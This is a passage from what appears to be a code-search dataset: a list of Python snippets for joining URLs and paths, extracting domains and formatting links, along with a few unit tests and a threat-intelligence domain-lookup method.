url.strip(\"/\"))\n return u.rstrip('/')","def test_url_concat(self):\n assert ct.url_join(\"www.bad-actor.services\", \"api\") == \"http://www.bad-actor.services/api\"\n assert ct.url_concat(\"https://www.bad-actor.services\", \"api\") == \"https://www.bad-actor.services/api\"\n assert ct.url_concat(\"https://www.bad-actor.services\", \"/api\") == \"https://www.bad-actor.services/api\"\n assert ct.url_concat(\n \"https://www.bad-actor.services\", \"/api\", \"new//one\") == \"https://www.bad-actor.services/api/new/one\"\n assert ct.url_concat(\"https://www.bad-actor.services\", \"/\") == \"https://www.bad-actor.services/\"\n assert ct.url_concat(\"https://www.bad-actor.services/\", \"/\") == \"https://www.bad-actor.services/\"","def add_email_domain(email, domain):\n if not domain:\n return email\n if '@' in email:\n return email\n at_domain = domain if domain.startswith('@') else '@' + domain\n if email.endswith(at_domain):\n return email\n if email.endswith(at_domain + '>'):\n return email\n return email + at_domain","def urljoin(*args):\n return '/'.join(str(a or '').strip('/') for a in args)","def _construct_url(parts):\n results = []\n last_idx = len(parts) - 1\n for n, part in enumerate(parts):\n if n > 0:\n part = part.lstrip('/')\n if n < last_idx:\n part = part.rstrip('/')\n if part:\n results.append(part)\n return '/'.join(results)","def urljoin(*atoms):\n url = \"/\".join([x for x in atoms if x])\n while \"//\" in url:\n url = url.replace(\"//\", \"/\")\n # Special-case the final url of \"\", and return \"/\" instead.\n return url or \"/\"","def join(path, *paths):\n\n for p in paths:\n if p.startswith(\"/\"):\n path = p\n elif p != \"\":\n path += (\"\" if path == \"\" or path.endswith(\"/\") else \"/\") + p\n return path","def _url_join(self, *parts):\n return \"/\".join(map(lambda fragment: fragment.rstrip('/'), parts))","def join(path, *paths: str) -> str:\n pass","def domain_args(domains):\n return ' ' + ' '.join(['-d {0}'.format(domain) for domain in domains])","def join(*paths):\r\n path = \"\"\r\n for component in paths:\r\n path += (\"/\" if path and not path.endswith(\"/\") else \"\") + component.replace(\r\n \"\\\\\", \"/\"\r\n )\r\n return path","def urljoin(*parts):\n def _gen(parts):\n prev = None\n for part in parts:\n if not part:\n continue\n if not prev:\n prev = part\n elif (prev[-1] == '/') != (part[0] == '/'): # Exactly one slash was present\n prev = part\n # At this point, either zero or two slashes are present. Which is it?\n elif part[0] == '/': # Two slashes.\n prev = part[1:]\n else: # No slashes.\n yield '/'\n prev = part\n yield prev\n\n return \"\".join(part for part in _gen(parts))","def ends_slash(url):\n return url if url.endswith(\"/\") else url + \"/\"","def generate_url(domainname = None):\n path_length = random.choice([1,2,3,4,5])\n path = ''\n for i in range(path_length):\n path = path + '/' + ''.join(generate_string(5, valid_domain_name_chars))\n if domainname:\n return 'http://www.'+domainname+path\n else: \n return 'http://www.'+generate_domainname()+path","def append_links(self, lines, lang):\n lines.append(\"verbatim \")\n lines.append(\"section Links\")\n lines.append(\"external http://polcasaglia.blogspot.com Blog\")\n lines.append(\"external http://www.uisp-fe.it/calcio.php UISP\" )\n lines.append(\"verbatim \")\n return lines","def full_uri(path):\n protocol = 'https' if settings.USE_HTTPS else 'http'\n domain = Site.objects.get_current().domain\n return \"{}://{}{}\".format(protocol, domain, path)","def test_url_domain(self):\n assert ct.url_domain(\"http://www.google.com\") == \"google.com\"\n assert ct.url_domain(\"http://localhost\") == \"localhost\"\n assert ct.url_domain(\"http://192.168.1.19:5010\") == \"192.168.1.19\"","def get_url_end_string(url_extras: [str]) -> str:\n if len(url_extras) == 0:\n return \"\"\n else:\n url_end_string = \"\"\n for i in url_extras:\n url_end_string += \"/\" + i\n return url_end_string","def add_domain(user):\n if \"@\" not in user:\n user = user + \"@linaro.org\"\n return user","def url_path_join(*pieces):\n initial = pieces[0].startswith(\"/\")\n final = pieces[-1].endswith(\"/\")\n stripped = [s.strip(\"/\") for s in pieces]\n result = \"/\".join(s for s in stripped if s)\n if initial:\n result = \"/\" + result\n if final:\n result = result + \"/\"\n if result == \"//\":\n result = \"/\"\n return result","def urljoin(base, *path):\n return reduce(_join, path, base)","def combine_paths(paths: Iterable[str], prepend: str, separator: str) -> str:\n\n paths = [\"{}{}\".format(prepend, p) for p in paths]\n return separator.join(paths)","def domain_to_url(domain):\n try:\n domain = get_tld(domain)\n except Exception: # pylint: disable=W0703,W0704\n pass\n return 'http://www.' + domain + '/'","def url_path_join(*pieces):\n initial = pieces[0].startswith('/')\n final = pieces[-1].endswith('/')\n striped = [s.strip('/') for s in pieces]\n result = '/'.join(s for s in striped if s)\n if initial: result = '/' + result\n if final: result = result + '/'\n if result == '//': result = '/'\n return result","def get_domain():\n domain=\"\"\n for item in re.split(\"\\.\", env.host)[1:]:\n domain = domain + \".\" + item\n return domain.lstrip(\".\")","def join(self, path, *paths):","def join_infile_path(*paths):\n # Join path components\n path = '/'.join(paths)\n # Correct double slashes, if any is present\n path = path.replace('//', '/')\n\n return path","def construct_url(self,*path):\n base = self.request.protocol+\"://\"+self.request.host+\"/\"\n return base+\"/\".join(path)","def urljoin(cls, base, end):\r\n if base and not base.endswith(\"/\"):\r\n base = base + \"/\"\r\n return urljoin(base, str(end))","def urljoin(cls, base, end):\n\n if base and not base.endswith('/'):\n base = base + '/'\n return urljoin(base, str(end))","def urlpath(self, url):\n\t\t# remove schema + hostname\n\t\turl = re.sub('^[^:]*://[^/]+', '/', url)\n\n\t\treturn self.canonicalize(url)","def generate_full_url(base_url, lineage, segment):\n params = \"/\".join([lineage, segment])\n return urljoin(base_url, params)","def _inline(line):\n if len(line) == 0:\n return ''\n\n # Regexp of protocols supported in hyperlinks (should be protocols that\n # we can expect web browsers to support)\n protocols = \"https?|ftp|sftp|file|afs|nfs\"\n\n\n # Prepare usual links: prefix every \"www.\" with \"http://\"\n # unless there is a // before\n line = re.sub('(^|\\s|[^\\/])(www\\.)', '\\\\1http://\\\\2', line, re.I);\n\n # replace the @ sign with an HTML entity, if it is used within\n # an url (e.g. for pointers to mailing lists). This way, the\n # @ sign doesn't get mangled in the e-mail markup code\n # below. See bug #2689 on http://gna.org/ for reference.\n line = re.sub(\"([a-z]+://[^<>[:space:]]+)@\", \"\\\\1@\", line, re.I)\n\n # Prepare the markup for normal links, e.g. http://test.org, by\n # surrounding them with braces []\n # (& = begin of html entities, it means a end of string unless\n # it is & which itself is the entity for &)\n line = re.sub('(^|\\s|[^\\[])((' + protocols + '):\\/\\/(&|[^\\s&]+[a-z0-9\\/^])+)',\n '\\\\1[\\\\2]', line, re.I)\n\n # do a markup for mail links, e.g. info@support.org\n # (do not use utils_emails, this does extensive database\n # search on the string\n # and replace addresses in several fashion. Here we just want to make\n # a link). Make sure that 'cvs -d:pserver:anonymous@cvs.sv.gnu.org:/...'\n # is NOT replaced.\n line = re.sub(\"(^|\\s)([a-z0-9_+-.]+@([a-z0-9_+-]+\\.)+[a-z]+)(\\s|$)\",\n '\\\\1' + '<a href=\"mailto:\\\\2\">\\\\2</a>' + '\\\\4', line, re.I)\n\n # Links between items\n # FIXME: it should be i18n, but in a clever way, meaning that everytime\n # a form is submitted with such string, the string get converted in\n # english so we always get the links found without having a regexp\n # including every possible language.\n # Trackers URLs disabled until trackers are actually implemented :)\n #trackers = {\n # \"bugs?\" : \"bugs/?\",\n # \"support|sr\" : \"support/?\",\n # \"tasks?\" : \"task/?\",\n # \"patch\" : \"patch/?\",\n # # In this case, we make the link pointing to support, it wont matter,\n # # the download page is in every tracker and does not check if the tracker\n # # is actually used\n # \"files?\" : \"support/download.php?file_id=\",\n # }\n #for regexp,link in trackers:\n # # Allows only two white space between the string and the numeric id\n # # to avoid having too time consuming regexp. People just have to pay\n # # attention.\n # line = re.sub(\"(^|\\s|\\W)($regexp)\\s{0,2}#([0-9]+)\",\n # '\\1<em><a href=\"' + 'sys_home'\n # + link + '\\\\3\">\\\\2 #\\\\3</a></em>',\n # line, re.I)\n\n # add an internal link for comments\n line = re.sub('(comments?)\\s{0,2}#([0-9]+)',\n '<em><a href=\"#comment\\\\2\">\\\\1 #\\\\2</a></em>',\n line, re.I)\n\n # Add support for named hyperlinks, e.g.\n # [http://savane-forge.org/ Text] -> <a href=\"http://savane-forge.org/\">Text</a>\n line = re.sub(\n # find the opening brace '['\n '\\['\n # followed by the protocol, either http:// or https://\n + '((' + protocols + '):\\/\\/'\n # match any character except whitespace or the closing\n # brace ']' for the actual link\n + '[^\\s\\]]+)'\n # followed by at least one whitespace\n + '\\s+'\n # followed by any character (non-greedy) and the\n # next closing brace ']'\n + '(.+?)\\]',\n '<a href=\"\\\\1\">\\\\3</a>', line)\n\n # Add support for unnamed hyperlinks, e.g.\n # [http://savane-forge.org/] -> <a href=\"http://savane-forge.org/\">http://savane-forge.org/</a> \n line = re.sub(\n # find the opening brace '['\n '\\['\n # followed by the protocol, either http:// or https://\n # (FIXME: which protocol does it makes sense to support, which one\n # should we ignore?)\n + '((' + protocols + '):\\/\\/'\n # match any character except whitespace (non-greedy) for\n # the actual link, followed by the closing brace ']'\n + '[^\\s]+?)\\]',\n '<a href=\"\\\\1\">\\\\1</a>', line)\n\n # *word* -> <strong>word</strong>\n line = re.sub(\n # find an asterisk\n '\\*'\n # then one character (except a space or asterisk)\n + '([^* ]'\n # then (optionally) any character except asterisk\n + '[^*]*?)'\n # then an asterisk\n + '\\*',\n '<strong>\\\\1</strong>', line)\n\n # _word_ -> <em>word</em>\n line = re.sub(\n # allow for the pattern to start at the beginning of a line.\n # if it doesn't start there, the character before the slash\n # must be either whitespace or the closing brace '>', to\n # allow for nested html tags (e.g. <p>_markup_</p>).\n # Additionally, the opening brace may appear.\n # See bug #10571 on http://gna.org/ for reference.\n '(^|\\s+|>|\\()'\n # match the underscore\n + '_'\n # match any character (non-greedy)\n + '(.+?)'\n # match the ending underscore and either end of line or\n # a non-word character\n + '_(\\W|$)',\n '\\\\1<em>\\\\2</em>\\\\3',\n line)\n\n return line","def join_path(values: t.List[str]) -> str:\n from axonius_api_client.tools import listify\n\n return \" => \".join(listify(values))","def compose_url(base_url, anno, chimico):\n \n return base_url + chimico + '_' + anno + '.txt'","def test_split_fullpath_with_route_domain():\n\n # Expected input must have route specified, otherwise reject\n tests = [\n [\"/Partition/1.2.3.4%0:80\", \"/Partition\", \"1.2.3.4\", 0, 80],\n [\"/Part/Folder/1.2.3.4%1:443\", \"/Part/Folder\", \"1.2.3.4\", 1, 443],\n [\"/Part/::ffff:0:0%2.8080\", \"/Part\", \"::ffff:0:0\", 2, 8080],\n [\"/Part/1.2.3.4:8080\", None, None, None, None],\n [\"/Part/::ffff:0:0.8080\", None, None, None, None]\n ]\n\n for test in tests:\n results = split_fullpath_with_route_domain(test[0])\n assert results[0] == test[1]\n assert results[1] == test[2]\n assert results[2] == test[3]\n assert results[3] == test[4]","def _make_url(self, path):\n if not self.base_location:\n raise ValueError(\"No base_location set. Cannot construct url.\")\n\n if path:\n path = self._normalise_last_slashes(path)\n path = self._normalise_head_slashes(path)\n\n return \"\".join((self.base_location, self.endpoint, path))","def public_rest_url(path_url: str, domain: str = CONSTANTS.DEFAULT_DOMAIN) -> str:\n return CONSTANTS.FTX_BASE_URL + path_url","def append_sitename(strs,site):\n strs = [x+' site:'+site for x in strs]\n return strs","def test_url_subdomain(self):\n subdomains = ct.url_subdomain(\"https://www.bad-actor.services/some/url-thats-long?debug=True\")\n assert isinstance(subdomains, list)\n assert len(subdomains) == 1\n subdomains = ct.url_subdomain(\"https://one.two.bad-actor.services/some/url-thats-long?debug=True\")\n assert subdomains[0] == \"one\"\n assert subdomains[1] == \"two\"","def testTrailingSpaces(self):\n self.assertEqual([\"http://tomtom.foobar.org/\"], grab('http://tomtom.foobar.org/ ', self.needScheme))\n self.assertEqual([\"http://www.foobi.org/saatoimia\"], grab('http://www.foobi.org/saatoimia ', self.needScheme))","def url_join(*parts):\n parts = parts or [\"\"]\n clean_parts = [part.strip(\"/\") for part in parts if part]\n if not parts[-1]:\n # Empty last element should add a trailing slash\n clean_parts.append(\"\")\n return \"/\".join(clean_parts)","def get_domainURI(self):\n return \"{0}/cdmi_domains/radon/\".format(self.api_root)","def get_domainURI(self):\n return \"{0}/cdmi_domains/radon/\".format(self.api_root)","def aix_path_join(path_one, path_two):\n if path_one.endswith('/'):\n path_one = path_one.rstrip('/')\n\n if path_two.startswith('/'):\n path_two = path_two.lstrip('/')\n\n final_path = path_one + '/' + path_two\n return final_path","def _build_url(self, tail_end):\n url = self._doc_class.urlobject.format(self._cb.credentials.org_key) + tail_end\n return url","def _build_url(self, tail_end):\n url = self._doc_class.urlobject.format(self._cb.credentials.org_key) + tail_end\n return url","def getDomainName(string):\n if re.match('(?P<d>^http(s)?://([a-z0-9\\-.]+)\\.[a-z0-9]+)', string) is not None:\n d = re.search('(?P<d>^http(s)?://([a-z0-9\\-.]+)\\.[a-z0-9]+)', string).group('d')\n d += \"/\"\n return d\n return \"\"","def get_domain(self, full_url):\n clean_reg= re.compile(r'^((?:https?:\\/\\/)?(?:www\\.)?).*?(\\/.*)?$')\n match = re.search(clean_reg, full_url)\n beg, end = match.group(1), match.group(2)\n domain = string.replace(full_url, beg, '')\n domain = string.replace(domain, end, '')\n return domain","def url_path_join(*fragments):\n fragments = fragments or (\"\",)\n result = fragments[0] # Tolerate an empty list\n for thing in fragments[1:]:\n result = result.rstrip(\"/\") + \"/\" + thing.lstrip(\"/\")\n return result","def domain(self, domain):","def appendPath(paths: List[unicode]) -> unicode:\n ...","def path_join(first: str, second: str) -> str:\n first = first.rstrip('/\\\\')\n second = second.lstrip('/\\\\')\n if not first: return second\n if not second: return first\n return first + '/' + second","def test_observable_url_normalize(self):\n result = self.api.observable_add('http://test.com')\n self.assertEqual(result['value'], 'http://test.com/')\n result = self.api.observable_add('https://test.com/something/../asd')\n self.assertEqual(result['value'], 'https://test.com/asd')","def formatter(self, formatString=\"{old} {new}\"):\n lines = []\n for url in self.redirects.keys():\n for match in self.redirects[url]:\n parsed = urlparse(url)\n\n netloc = parsed.netloc\n if self.subdomain:\n netloc = netloc[(netloc.find(\".\")+1):]\n\n prefix = \"{0}://{1}\".format(parsed.scheme, netloc)\n\n lines.append(formatString.format(old=url, oldPath=parsed.path,\n prefix=prefix, new=match))\n return \"\\n\".join([line for line in lines])","def escape_crlf(s1):\n\t\tif '\\\\n' not in s1 and '\\r' not in s1: return s1 # fast path\n\t\ts2=''\n\t\tescaped=False\n\t\tfor c in s1:\n\t\t\tif not escaped and c == '\\r':\n\t\t\t\tc = '\\\\\\r'\n\t\t\telif escaped and c == 'n':\n\t\t\t\tc = '\\n'\n\t\t\tescaped = not escaped and c == '\\\\'\n\t\t\ts2 += c\n\t\treturn s2","def path_join(base, *urls):\n if not base.endswith(\"/\"):\n base += \"/\"\n btpl = urlsplit(base)\n path = btpl.path\n for url in urls:\n utpl = urlsplit(url)\n if btpl.scheme == \"\":\n path = os.path.join(path, utpl.path)\n path = os.path.normpath(path)\n else:\n path = urljoin(path, utpl.path)\n return btpl._replace(path=path).geturl()","def get_url(self, uri):\n # TODO make this a prepend_if_needed type method\n return urllib.parse.urljoin(self.hostname, uri)","def _join_url(saas_url, endpoint):\n\n saas_url = f\"{saas_url}/\"\n endpoint = endpoint.lstrip(\"/\")\n return urljoin(saas_url, endpoint)","def generate_link(resources):\n\n links = \"\"\n for i, resource in enumerate(resources):\n link = \"<\" + resource[\"path\"] + \">\"\n if \"parameters\" in resource:\n for parameter in resource[\"parameters\"]:\n link += \";\" + str(parameter) + \"=\" + str(resource[\"parameters\"][parameter])\n links += link\n if i != len(resources) - 1:\n links += \",\"\n return links","def escape_leading_slashes(url):\n if url.startswith(\"//\"):\n url = \"/%2F{}\".format(url.removeprefix(\"//\"))\n return url","def getDomain(self, *args, **kwargs):\n\n return_json = dict()\n jdatas = list()\n try:\n result, name = is_file(kwargs.get('value')[0])\n if result:\n jdatas = [load_file(name)]\n kwargs['dump'] = False\n md5_hash = ''\n\n except IndexError:\n print('[-] Something going wrong')\n return\n\n if not jdatas:\n if isinstance(kwargs.get('value'), list) and len(kwargs.get('value')) == 1 and \\\n os.path.exists(kwargs.get(\"value\")[0]) and kwargs.get(\"value\")[0].endswith(\".txt\"):\n kwargs[\"value\"] = [domain.strip() for domain in open(kwargs.get(\"value\")[0], \"rb\").readlines()]\n elif isinstance(kwargs.get('value'), six.string_types):\n kwargs['value'] = [kwargs.get('value')]\n\n kwargs['value'] = [urlparse(domain).netloc.lower() if domain.startswith(('http://', 'https://')) else domain for domain in kwargs.get('value')]\n\n url = self.base.format('domains/')\n\n for domain in kwargs.get('value'):\n url = self.base.format('domains/{}'.format(domain))\n if kwargs.get('domain_post_comments'):\n url += '/comments'\n method = 'post'\n data = '{\"data\": {\"type\": \"comment\", \"attributes\": {\"text\": \"Lorem ipsum dolor sit ...\"}}}'\n elif kwargs.get('domain_get_comments'):\n url += '/comments'\n method = 'get'\n else:\n #url += '/' + kwargs['domain_get_relationships']\n self.params[\"relationships\"] = 'communicating_files,downloaded_files,graphs,referrer_files,resolutions,siblings,subdomains,urls'\n method = \"get\"\n jdata, response = get_response(url, apikey=self.apikey, method=method, params=self.params)\n jdatas.append((domain, jdata))\n\n if kwargs.get('return_raw'):\n return jdatas\n\n for domain, jdata in jdatas:\n if jdata.get('data'):\n jdata = jdata['data']\n\n if not (kwargs.get('return_json') or kwargs.get('return_raw')) and kwargs.get('verbose'):\n print('\\n[+] Domain:', domain)\n\n single_dict = (\n 'TrendMicro category',\n 'Dr.Web category',\n 'BitDefender category',\n 'Websense ThreatSeeker category',\n 'Alexa category',\n 'Alexa domain info',\n 'Alexa rank',\n 'Opera domain info',\n 'subdomains',\n 'siblings',\n )\n\n complicated_dict = (\n 'WOT domain info',\n 'Webutation domain info',\n )\n\n for key in single_dict:\n if jdata.get(key) and ((kwargs.get(key) or key in args) or kwargs.get('verbose')):\n if kwargs.get('return_json'):\n return_json.update({key: jdata[key]})\n else:\n self.print_key(key)\n if isinstance(jdata[key], list):\n print('\\t', '\\n\\t'.join(jdata[key]))\n else:\n print('\\t{0}'.format(jdata[key]))\n\n for key in complicated_dict:\n if jdata.get(key) and ((kwargs.get(key) or key in args) or kwargs.get('verbose')):\n if kwargs.get('return_json'):\n return_json.update({key: jdata[key]})\n else:\n self.__print_complex_dict(jdata, key, kwargs)\n\n if jdata['attributes'].get('whois') and ((kwargs.get('whois') or 'whois' in args) or kwargs.get('verbose')):\n if kwargs.get('return_json'):\n return_json.update({'whois': jdata['attributes']['whois']})\n else:\n print('\\n[+] Whois data:\\n')\n try:\n print('\\t', jdata['attributes']['whois'].replace('\\n', '\\n\\t'))\n except:\n try:\n print('\\t', jdata['attributes']['whois'].encode('utf-8', 'replace').replace('\\n', '\\n\\t'))\n except:\n print('Old version of python has some problems with converting chars to ansii')\n\n self._print_complex_dict(jdata['attributes'], 'categories')\n self.__parse_relationships(jdata['relationships'], domain)\n if kwargs.get(\"domain_get_comments\", False) is True:\n simple_list = (\n \"date\",\n \"tags\",\n \"text\",\n \"votes\",\n \"links\"\n )\n for block in jdata:\n print(\"[+] Comment ID: {}\".format(block[\"id\"]))\n for key in simple_list:\n if block.get(key) and ((kwargs.get(key) or key in args) or kwargs.get('verbose')):\n if kwargs.get('return_json'):\n return_json.update({key: block[\"attributes\"][key]})\n else:\n self.print_key(key, indent='', separator='\\t[+]')\n if key == \"date\":\n print('\\t', datetime_from_timestamp(block.get(key)))\n else:\n print('\\t', block.get(key))\n\n # ToDo\n #elif kwargs.get(\"post_post_comments\", False) is True:\n\n elif kwargs.get('domain_get_relationships', False):\n self._print_complex_dict(jdata['attributes'], 'categories')\n self.__parse_relationships(jdata['relationships'], domain)\n \"\"\"\n simple_list = (\n \"url\",\n \"last_final_url\",\n \"tags\",\n \"total_votes\",\n \"last_analysis_date\",\n \"last_analysis_stats\",\n )\n for block in jdata['attributes']:\n print(block)\n for key in simple_list:\n if block.get(key, \"\") and ((kwargs.get(key) or key in args) or kwargs.get('verbose')):\n if kwargs.get('return_json'):\n return_json.update({key:block[key]})\n else:\n self.print_key(key, indent='', separator='\\t[+]')\n if key == \"last_analysis_date\":\n print('\\t', datetime_from_timestamp(block.get(key)))\n else:\n print('\\t', block.get(key))\n #[{u'attributes': {u'total_votes': {u'harmless': 0, u'malicious': 0}, u'last_final_url': u'https://msg3.club/', u'tags': [], u'url': u'https://msg3.club/', u'last_analysis_date': 1551639858, u'last_analysis_stats': {u'harmless': 57, u'malicious': 1, u'suspicious': 0, u'undetected': 8, u'timeout': 0}, u'first_submission_date': 1551639858,\n self.last_analysis_results(block, args, kwargs)\n \"\"\"\n\n if kwargs.get('return_json'):\n return_json.update(self.__detected_samples(jdata, *args, **kwargs))\n else:\n return_json = self.__detected_samples(jdata, *args, **kwargs)\n\n if jdata.get('pcaps') and ((kwargs.get('pcaps') or 'pcaps' in args) or kwargs.get('verbose')):\n if kwargs.get('return_json'):\n return_json.update({'pcaps': jdata['pcaps']})\n else:\n print('\\n')\n pretty_print(jdata['pcaps'], ['pcaps'], [70], ['c'], kwargs.get('email_template'))\n\n if jdata.get('resolutions') and ((kwargs.get('resolutions') or 'resolutions' in args) or kwargs.get('verbose')):\n if kwargs.get('return_json'):\n return_json.update({'passive_dns': jdata['resolutions']['data']})\n else:\n print('\\n[+] Passive DNS replication\\n')\n pretty_print(jdata['resolutions']['data'],\n ['ip_address', 'type'],\n [25, 20],\n ['c', 'c'],\n kwargs.get('email_template')\n )\n\n if kwargs.get('walk') and jdata.get('resolutions', {}).get(\"data\", []):\n filter_ip = list()\n for ip in jdata['resolutions']['data']:\n ip = ip['id'].replace(domain, '')\n if ip not in filter_ip:\n print('\\n\\n[+] Checking data for ip: {0}'.format(ip))\n kwargs['value'] = ip\n self.getIP(**kwargs)\n\n if kwargs.get('dump') is True:\n md5_hash = hashlib.md5(name.encode(\"utf-8\")).hexdigest()\n jsondump(jdata, md5_hash)\n\n if kwargs.get('return_json'):\n return return_json","def gen_tldr(words):\n for word in words:\n yield word.serialize() + \"\\n\"","def getDomain(url):\n domain = string.replace(url,\"https://www.\",\"\")\n domain = string.replace(domain,\"http://www.\",\"\")\n domain = string.replace(domain,\"http://\",\"\")\n domain = string.replace(domain,\".com/\",\"\")\n domain = string.replace(domain,\".com\",\"\")\n return domain","def urljoin(*args):\n from six.moves.urllib.parse import urljoin as sys_urljoin\n from functools import reduce\n return reduce(sys_urljoin, args)","def safe_join(base, *paths):\n from urlparse import urljoin\n base_path = force_text(base)\n base_path = base_path.rstrip(\"/\")\n paths = [force_text(p) for p in paths]\n\n final_path = base_path\n for path in paths:\n final_path = urljoin(final_path.rstrip(\"/\") + \"/\", path.rstrip(\"/\"))\n\n # Ensure final_path starts with base_path and that the next character after\n # the final path is '/' (or nothing, in which case final_path must be\n # equal to base_path).\n base_path_len = len(base_path)\n if (not final_path.startswith(base_path) or\n final_path[base_path_len:base_path_len + 1] not in (\"\", \"/\")):\n raise ValueError(\"the joined path is located outside of the base path\"\n \" component\")\n\n return final_path.lstrip(\"/\")","def composeURL(self,splitedURL):\n # 027 With use of SmartURL won't be necessary anymore.\n # 027 was used only in LinklistAdaptor.parse2Queue().parseLine() -> removed (Which actually might jeopardize cll).\n # 027 So actually is NOT used anywhere.\n \n #Could be replaced by string.join() method.\n #Also could be merged with method composePath().\n #Create child of list class with this method. \n \n self.debug.printHeader() \n url=''\n if len(splitedURL)>0:\n for piece in splitedURL:\n if not(piece==splitedURL[0]): url+='/'\n url+=piece\n self.logger.debug(\"Composed url is: %s\" %(url))\n return url\n #return \"/\".join(splitedURL) #026 This will do the same job. But needs to be tested.","def addslash(path):\n if path.lower().endswith(\".dql\"):\n return path + \" \"\n else:\n return path + \"/\"","def hostify_url(url):\n\tif url[0] == '/':\n\t\treturn HOST + url\n\telse:\n\t\treturn url","def _format_url(self, hostname):\n share_name = self.share_name\n if isinstance(share_name, six.text_type):\n share_name = share_name.encode('UTF-8')\n return \"{}://{}/{}/{}{}\".format(\n self.scheme,\n hostname,\n quote(share_name),\n \"/\".join([quote(p, safe='~') for p in self.file_path]),\n self._query_str)","def full(self):\n url = (self.scheme + ':') if self.scheme else ''\n url += '//' + self.netloc + self.relative()\n return url","def update_domain():\n\n for e in Expr.search() + User.search(): e.set_tld(config.server_name)","def test_append_slash():\n assert normalize_url(\"http://example.com\") == \"http://example.com/\"","def _escapePaths(self, paths):\n cmd = \"\"\n for p in paths:\n if ' ' in p:\n cmd += ' \"{0}\"'.format(p)\n else:\n cmd += ' ' + p\n return cmd","def _normalise_head_slashes(url_segment):\n return url_segment if url_segment.startswith(\"/\") else \"/\" + url_segment","def _parse_domain_list(self, *cmd):\n if self._fail_domain_list:\n raise processutils.ProcessExecutionError(exit_code=1)\n elif self._empty_domain_list:\n return '', ''\n else:\n return \"thisserver\\nthatserver\\nanotherserver\\n\", ''","def create_absolute_url(path: str) -> str:\n domain = settings.ALLOWED_HOSTS[0]\n return \"https://{domain}{path}\".format(domain=domain, path=path)","def transform_url(result):\n import re\n result = re.sub('//', '/', result)\n result = re.sub('/', '//', result, count=1)\n return encode_url_path(result)","def testLeadingAndTrailingText(self):\n self.assertEqual([\"http://123.123.123.123\"], grab('fooasdf asdf a http://123.123.123.123 asdfasdf', self.needScheme))","def join(cls, *args):\n return AbsolutePath(os.path.join(*(str(piece) for piece in args)))","def urlencode(path):\n return urllib.quote_plus(path)","def _url(self, path):\n \n return self.url + path","def write_url(url_list):\r\n with open(\"URLS.txt\", \"a+\") as url_file:\r\n for url in url_list:\r\n url_file.write(url+\"\\n\")","def _format_url(s):\n return u'%s%s\\n' % (BASE_URL, s.get_absolute_url())","def add_trailing_slash(path):\n if len(path) > 0:\n if path[len(path) - 1] == \"/\":\n return path\n else:\n return path + \"/\"\n else:\n return path + \"/\"","def getStoryDomain(self, source):\n domainStart = source.find('comhead\">') + 10\n domainEnd = source.find('</span>')\n domain = source[domainStart:domainEnd]\n # Check for \"Ask HN\" links.\n if domain[0] == '=':\n return \"http://news.ycombinator.com\"\n return \"http://\" + domain[1:len(domain)-2]","def join_link(s, separator):\n if s == empty:\n return \"\"\n elif rest(s) == empty:\n return str(first(s))\n else:\n return str(first(s)) + separator + join_link(rest(s), separator)\n # so much like the TLS programming style.","def processUrl(url):\n domain = 'http://www.gsmarena.com/'\n if domain not in url:\n url = urllib.parse.urljoin(domain, url)\n return url"],"string":"[\n \"def merge_link(url_domain, url_path):\\n\\n # Ensure domain is not empty\\n if url_domain.strip() == \\\"\\\":\\n return url_path\\n\\n # Strip / at end of domain\\n if url_domain[-1] == \\\"/\\\":\\n url_domain = url_domain[0:-1]\\n\\n # Strip / at beginning of path\\n if url_path[0] == \\\"/\\\":\\n url_path = url_path[1:]\\n\\n url_full = \\\"/\\\".join([url_domain, url_path])\\n\\n return url_full\",\n \"def baseDomain(domain, includeScheme=True):\\n result = ''\\n url = urlparse(domain)\\n if includeScheme:\\n if len(url.scheme) > 0:\\n result = '%s://' % url.scheme\\n if len(url.netloc) == 0:\\n result += url.path\\n else:\\n result += url.netloc\\n return result\",\n \"def _urljoin(self, *args):\\r\\n\\t\\treturn \\\"/\\\".join(map(lambda x: str(x).rstrip('/'), args))\",\n \"def urljoin(*args):\\n\\n return \\\"/\\\".join(map(lambda x: str(x).rstrip('/'), args))\",\n \"def createCompleteLink(link, domain):\\n if link is not None and len(link) > 0:\\n if re.match('^http', link) is not None:\\n return link\\n else:\\n #Remove the first / to avoid //\\n if link[0] == '/':\\n link = link[1:]\\n return domain + link\\n return domain\",\n \"def get_url(domain, path):\\n\\n return f\\\"https://{domain}.freshservice.com/api/v2/{path}\\\"\",\n \"def str_join(paths: []):\\n return \\\"/\\\".join(paths)\",\n \"def join_path(base, *args):\\n\\tfilepath = base\\n\\tfor arg in args:\\n\\t\\tfilepath = filepath + cfg.SEP_COMM + arg\\n\\tfilepath = filepath.replace( '//', cfg.SEP_COMM)\\n\\treturn filepath\",\n \"def join(self, *parts):\\n if parts:\\n parts = list(parts)\\n if len(parts) > 1:\\n for i, p in enumerate(parts[:-1]):\\n parts[i] = p.strip('/')\\n parts[-1] = parts[-1].lstrip('/')\\n return '/'.join(parts)\",\n \"def join_urls(*urls):\\r\\n if not urls:\\r\\n return\\r\\n \\r\\n url = urls[0]\\r\\n for u in urls[1:]:\\r\\n if not url.endswith('/'):\\r\\n url += '/'\\r\\n while u.startswith('/'):\\r\\n u = utils.lstrips(u, '/')\\r\\n url += u\\r\\n return url\",\n \"def path_to_url(path):\\r\\n if os.sep == '/':\\r\\n return path\\r\\n else:\\r\\n return '/'.join(split_all(path))\",\n \"def join_url(*args): # type: (*str) -> str\\n parts = [part[:-1] if part and part[-1] == '/' else part for part in args]\\n parts.append('')\\n return '/'.join(parts)\",\n \"def concat_url(endpoint, url):\\n u = \\\"%s/%s\\\" % (endpoint.rstrip(\\\"/\\\"), url.strip(\\\"/\\\"))\\n return u.rstrip('/')\",\n \"def test_url_concat(self):\\n assert ct.url_join(\\\"www.bad-actor.services\\\", \\\"api\\\") == \\\"http://www.bad-actor.services/api\\\"\\n assert ct.url_concat(\\\"https://www.bad-actor.services\\\", \\\"api\\\") == \\\"https://www.bad-actor.services/api\\\"\\n assert ct.url_concat(\\\"https://www.bad-actor.services\\\", \\\"/api\\\") == \\\"https://www.bad-actor.services/api\\\"\\n assert ct.url_concat(\\n \\\"https://www.bad-actor.services\\\", \\\"/api\\\", \\\"new//one\\\") == \\\"https://www.bad-actor.services/api/new/one\\\"\\n assert ct.url_concat(\\\"https://www.bad-actor.services\\\", \\\"/\\\") == \\\"https://www.bad-actor.services/\\\"\\n assert ct.url_concat(\\\"https://www.bad-actor.services/\\\", \\\"/\\\") == \\\"https://www.bad-actor.services/\\\"\",\n \"def add_email_domain(email, domain):\\n if not domain:\\n return email\\n if '@' in email:\\n return email\\n at_domain = domain if domain.startswith('@') else '@' + domain\\n if 